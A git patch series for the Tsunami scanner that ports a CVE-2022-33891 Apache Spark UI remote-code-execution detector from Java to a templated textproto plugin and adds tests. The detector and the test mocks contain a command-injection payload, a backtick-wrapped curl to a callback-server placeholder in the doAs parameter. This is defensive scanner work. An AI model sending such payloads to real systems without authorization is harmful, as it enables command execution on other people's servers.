From adb7acb4d8db66233c9cc5617bc341b0183abc33 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Sat, 2 May 2026 08:12:12 -0400 Subject: [PATCH 1/3] converted apache spark cve-2022-33891 to templated --- .../apache_spark_cve_2022_33891/README.md | 27 --- .../apache_spark_cve_2022_33891/build.gradle | 40 ---- .../settings.gradle | 12 -- .../cves/cve202233891/Annotations.java | 36 ---- .../Cve202233891VulnDetector.java | 190 ------------------ ...e202233891VulnDetectorBootstrapModule.java | 38 ---- .../Cve202233891VulnDetectorConfigs.java | 24 --- .../Cve202233891DetectorTest.java | 162 --------------- .../2022/ApacheSpark_CVE_2022_33891.textproto | 91 +++++++++ .../ApacheSpark_CVE_2022_33891_test.textproto | 83 ++++++++ 10 files changed, 174 insertions(+), 529 deletions(-) delete mode 100644 community/detectors/apache_spark_cve_2022_33891/README.md delete mode 100644 community/detectors/apache_spark_cve_2022_33891/build.gradle delete mode 100644 community/detectors/apache_spark_cve_2022_33891/settings.gradle delete mode 100644 community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java delete mode 100644 community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java delete mode 100644 community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java delete mode 100644 community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java delete mode 100644 community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java create mode 100644 templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto create mode 100644 templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto diff --git a/community/detectors/apache_spark_cve_2022_33891/README.md b/community/detectors/apache_spark_cve_2022_33891/README.md deleted file mode 100644 index 8b9e942d4..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/README.md +++ /dev/null @@ -1,27 +0,0 @@ -# Apache Spark UI CVE-2022-33891 RCE Vulnerability Detector - -This detector checks for Apache Spark UI CVE-2022-33891 RCE vulnerability. - -The Apache Spark UI offers the possibility to enable ACLs via the configuration -option spark.acls.enable. With an authentication filter, this checks whether a -user has access permissions to view or modify the application. If ACLs are -enabled, a code path in HttpSecurityFilter can allow someone to perform -impersonation by providing an arbitrary user name. A malicious user might then -be able to reach a permission check function that will ultimately build a Unix -shell command based on their input, and execute it. This will result in -arbitrary shell command execution as the user Spark is currently running as. -This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, -and versions 3.2.0 to 3.2.1. - -- https://spark.apache.org/security.html#CVE-2022-33891 -- https://nvd.nist.gov/vuln/detail/cve-2022-33891 - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/apache_spark_cve_2022_33891/build.gradle b/community/detectors/apache_spark_cve_2022_33891/build.gradle deleted file mode 100644 index ece06ac69..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/build.gradle +++ /dev/null @@ -1,40 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami CVE-2022-33891 VulnDetector plugin.' -group 'com.google.tsunami' -version '0.0.1-SNAPSHOT' - - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.inject:guice:6.0.0" - testImplementation "com.google.inject.extensions:guice-testlib:6.0.0" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/community/detectors/apache_spark_cve_2022_33891/settings.gradle b/community/detectors/apache_spark_cve_2022_33891/settings.gradle deleted file mode 100644 index c90b12e32..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'CVE-2022-33891' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java deleted file mode 100644 index f742efaf5..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202233891; - -import static java.lang.annotation.ElementType.FIELD; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Annotation for {@link Cve202233891VulnDetector}. */ -public class Annotations { - @Qualifier - @Retention(RetentionPolicy.RUNTIME) - @Target({PARAMETER, METHOD, FIELD}) - @interface OobSleepDuration {} - - private Annotations() {} -} diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java deleted file mode 100644 index 41190766b..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java +++ /dev/null @@ -1,190 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve202233891; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugins.detectors.cves.cve202233891.Annotations.OobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A VulnDetector plugin for CVE 202233891. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "CVE-2022-33891 Detector", - version = "0.1", - description = "Checks for occurrences of CVE-2022-33891 in Apache Spark installations.", - author = "OccamsXor", - bootstrapModule = Cve202233891VulnDetectorBootstrapModule.class) -@ForWebService -public final class Cve202233891VulnDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - private final int oobSleepDuration; - - private static final String FINGERPRINT_MASTER = "Spark Master at "; - private static final String FINGERPRINT_WORKER = "<title>Spark Worker at "; - - @Inject - Cve202233891VulnDetector( - @UtcClock Clock utcClock, - HttpClient httpClient, - PayloadGenerator payloadGenerator, - @OobSleepDuration int oobSleepDuration) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = - checkNotNull(httpClient, "HttpClient cannot be null.") - .modify() - .setFollowRedirects(false) - .build(); - this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); - this.oobSleepDuration = oobSleepDuration; - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) { - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isSpark) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - public boolean isSpark(NetworkService networkService) { - try { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - HttpResponse response = - this.httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build()); - - return response.status() == HttpStatus.OK - && (response.bodyString().orElse("").contains(FINGERPRINT_MASTER) - || response.bodyString().orElse("").contains(FINGERPRINT_WORKER)); - } catch (IOException e) { - return false; - } - } - - private boolean isServiceVulnerable(NetworkService networkService) { - // Check callback server is enabled - if (!payloadGenerator.isCallbackServerEnabled()) { - logger.atWarning().log("This detector needs the Callback Server to be available."); - return false; - } - - logger.atInfo().log("Callback server is available!"); - Payload payload = generateCallbackServerPayload(); - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + "?doAs=`" - + payload.getPayload() - + "`"; - var request = HttpRequest.get(targetUri).withEmptyHeaders().build(); - - try { - this.httpClient.send(request, networkService); - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(this.oobSleepDuration)); - return payload.checkIfExecuted(); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private Payload generateCallbackServerPayload() { - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - return this.payloadGenerator.generate(config); - } - - @Override - public ImmutableList<Vulnerability> getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_33891")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-33891")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-33891 Apache Spark UI RCE") - .setDescription( - "The Apache Spark UI has spark.acls.enable configuration option which provides" - + " capability to modify the application according to user's permissions." - + " When the config is true, the vulnerable versions of Spark checks the" - + " group membership of the user without proper controls, that results in" - + " blind command injection in username parameter.") - .setRecommendation("You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later") - .build()); - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java deleted file mode 100644 index e731cc3ab..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve202233891; - -import com.google.inject.Provides; -import com.google.tsunami.plugin.PluginBootstrapModule; -import com.google.tsunami.plugins.detectors.cves.cve202233891.Annotations.OobSleepDuration; - -/** An CVE-2022-33891 Guice module that bootstraps the {@link Cve202233891VulnDetector}. */ -public class Cve202233891VulnDetectorBootstrapModule extends PluginBootstrapModule { - @Override - protected void configurePlugin() { - registerPlugin(Cve202233891VulnDetector.class); - } - - @Provides - @OobSleepDuration - int provideOobSleepDuration(Cve202233891VulnDetectorConfigs configs) { - if (configs.oobSleepDuration == -1) { - return 5; - } - - return configs.oobSleepDuration; - } -} diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java deleted file mode 100644 index edeaa5339..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java +++ /dev/null @@ -1,24 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202233891; - -import com.google.tsunami.common.config.annotations.ConfigProperties; - -@ConfigProperties("plugins.detectors.spark_cve202233891") -public class Cve202233891VulnDetectorConfigs { - int oobSleepDuration = -1; -} diff --git a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java b/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java deleted file mode 100644 index 2673e1ea7..000000000 --- a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java +++ /dev/null @@ -1,162 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve202233891; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.inject.testing.fieldbinder.Bind; -import com.google.inject.testing.fieldbinder.BoundFieldModule; -import com.google.inject.util.Modules; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.plugins.detectors.cves.cve202233891.Annotations.OobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve202233891VulnDetector}. */ -@RunWith(JUnit4.class) -public class Cve202233891DetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); - private MockWebServer mockWebServer; - private MockWebServer mockCallbackServer; - private NetworkService service; - private TargetInfo targetInfo; - @Inject private Cve202233891VulnDetector detector; - - @Bind(lazy = true) - @OobSleepDuration - private final int oobSleepDuration = 0; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - mockCallbackServer = new MockWebServer(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), - Modules.override(new Cve202233891VulnDetectorBootstrapModule()) - .with(BoundFieldModule.of(this))) - .injectMembers(this); - - service = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("http")) - .setServiceName("http") - .build(); - - targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - // For fingerprinting - mockWebServer.enqueue( - new MockResponse() - .setResponseCode(200) - .setBody("<title>Spark Master at spark://testbed:7077\n")); - // Sample response to exploit request - mockWebServer.enqueue( - new MockResponse() - .setResponseCode(403) - .setBody( - "SERVLET:org.apache.spark.ui.JettyUtils$$anon$1-7439513f\n")); - - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(service) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_ifNotVulnerable_doesNotReportVuln() { - // For fingerprinting - mockWebServer.enqueue( - new MockResponse() - .setResponseCode(200) - .setBody("Spark Master at spark://testbed:7077\n")); - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("Hello world!")); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_ifNotSpark_doesNotReportVuln() { - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("This is not Spark")); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(1); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); - } -} diff --git a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto new file mode 100644 index 000000000..342e8e21c --- /dev/null +++ b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto @@ -0,0 +1,91 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheSpark_CVE_2022_33891" + author: + "Robert Dick (robert@doyensec.com) for the Templated version," + " OccamsXor for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "CVE_2022_33891" + } + severity: CRITICAL + title: "CVE-2022-33891 Apache Spark UI RCE" + description: + "The Apache Spark UI has spark.acls.enable configuration option which provides" + " capability to modify the application according to user's permissions." + " When the config is true, the vulnerable versions of Spark checks the" + " group membership of the user without proper controls, that results in" + " blind command injection in username parameter." + recommendation: + "You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later" + related_id: { + publisher:"CVE" + value: "CVE-2022-33891" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_spark" + http_request: { + method: GET + uri: "/" + response: { + http_status: 200 + expect_any { + conditions: [ + { body: {} contains: 'Spark Master at ' }, + { body: {} contains: '<title>Spark Worker at ' } + ] + } + } + } +} + +actions: { + name: "execute_command" + http_request: { + method: GET + uri: "/?doAs=`curl%20{{ T_CBS_URI }}`" + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_spark", + "execute_command", + "sleep", + "check_callback_server_logs" + ] +} + +config: { debug: true } \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto new file mode 100644 index 000000000..be34d4c9c --- /dev/null +++ b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto @@ -0,0 +1,83 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "ApacheSpark_CVE_2022_33891" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: + '...\n' + '<title>Spark Master at spark://b41e42d519dc:7077\n' + '...\n' + }, + { + uri: "/?doAs=`curl%20{{ T_CBS_URI }}`" + status: 403 + body_content: + '...\n' + 'Error 403 User `touch /tmp/tmpfile` is not authorized to access this page.\n' + '...\n' + } + ] + } +} + +tests: { + name: "whenNotVulnerable_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: + '...\n' + 'Spark Master at spark://b41e42d519dc:7077\n' + '...\n' + }, + { + uri: "/?doAs=`curl%20{{ T_CBS_URI }}`" + status: 200 + body_content: + '...\n' + 'Spark Master at spark://2997522835aa:7077\n' + '...\n' + } + ] + } +} + +tests: { + name: "whenNotJenkins_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +} From 57dd19f09416b4d4ec2beae33fe1e0c9ac74413b Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Sat, 2 May 2026 08:14:48 -0400 Subject: [PATCH 2/3] removed debug mode --- .../plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto index 342e8e21c..344a722a8 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto @@ -86,6 +86,4 @@ workflows: { "sleep", "check_callback_server_logs" ] -} - -config: { debug: true } \ No newline at end of file +} \ No newline at end of file From 8a2838f9f31c3c519c14218b054450b7f1413e45 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 3 Jun 2026 05:08:19 -0400 Subject: [PATCH 3/3] fixed test and community/README.md --- community/README.md | 2 +- .../plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/community/README.md b/community/README.md index e651c1cea..ad58bea1c 100644 --- a/community/README.md +++ b/community/README.md @@ -39,7 +39,7 @@ This directory contains plugins contributed by community members. * [CVE-2022-22965 Spring Framework RCE (CVE-2022-22965) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/spring_framework_cve_2022_22965) * [CVE-2022-36804 Bitbucket Server RCE via command injection](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/bitbucket_cve_2022_36804) * [Spring Cloud Function CVE-2022-22963 VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/spring_cloud_function_cve_2022_22963) -* [Apache Spark Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/rce/apache_spark_exposed_api) +* [Apache Spark Exposed API VulnDetector, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto) * [CVE-2023-0669 GoAnywhere MFT RCE vulnerability Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/goanywhere_cve_2023_0669) * [AutoGPT Exposed UI VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/autogpt_exposed_ui) * [CVE-2024-2029 LocalAI RCE detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/localai_cve_2024_2029) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto index be34d4c9c..801343199 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto @@ -68,7 +68,7 @@ tests: { } tests: { - name: "whenNotJenkins_returnsFalse" + name: "whenRandomServer_returnsFalse" expect_vulnerability: false mock_http_server: {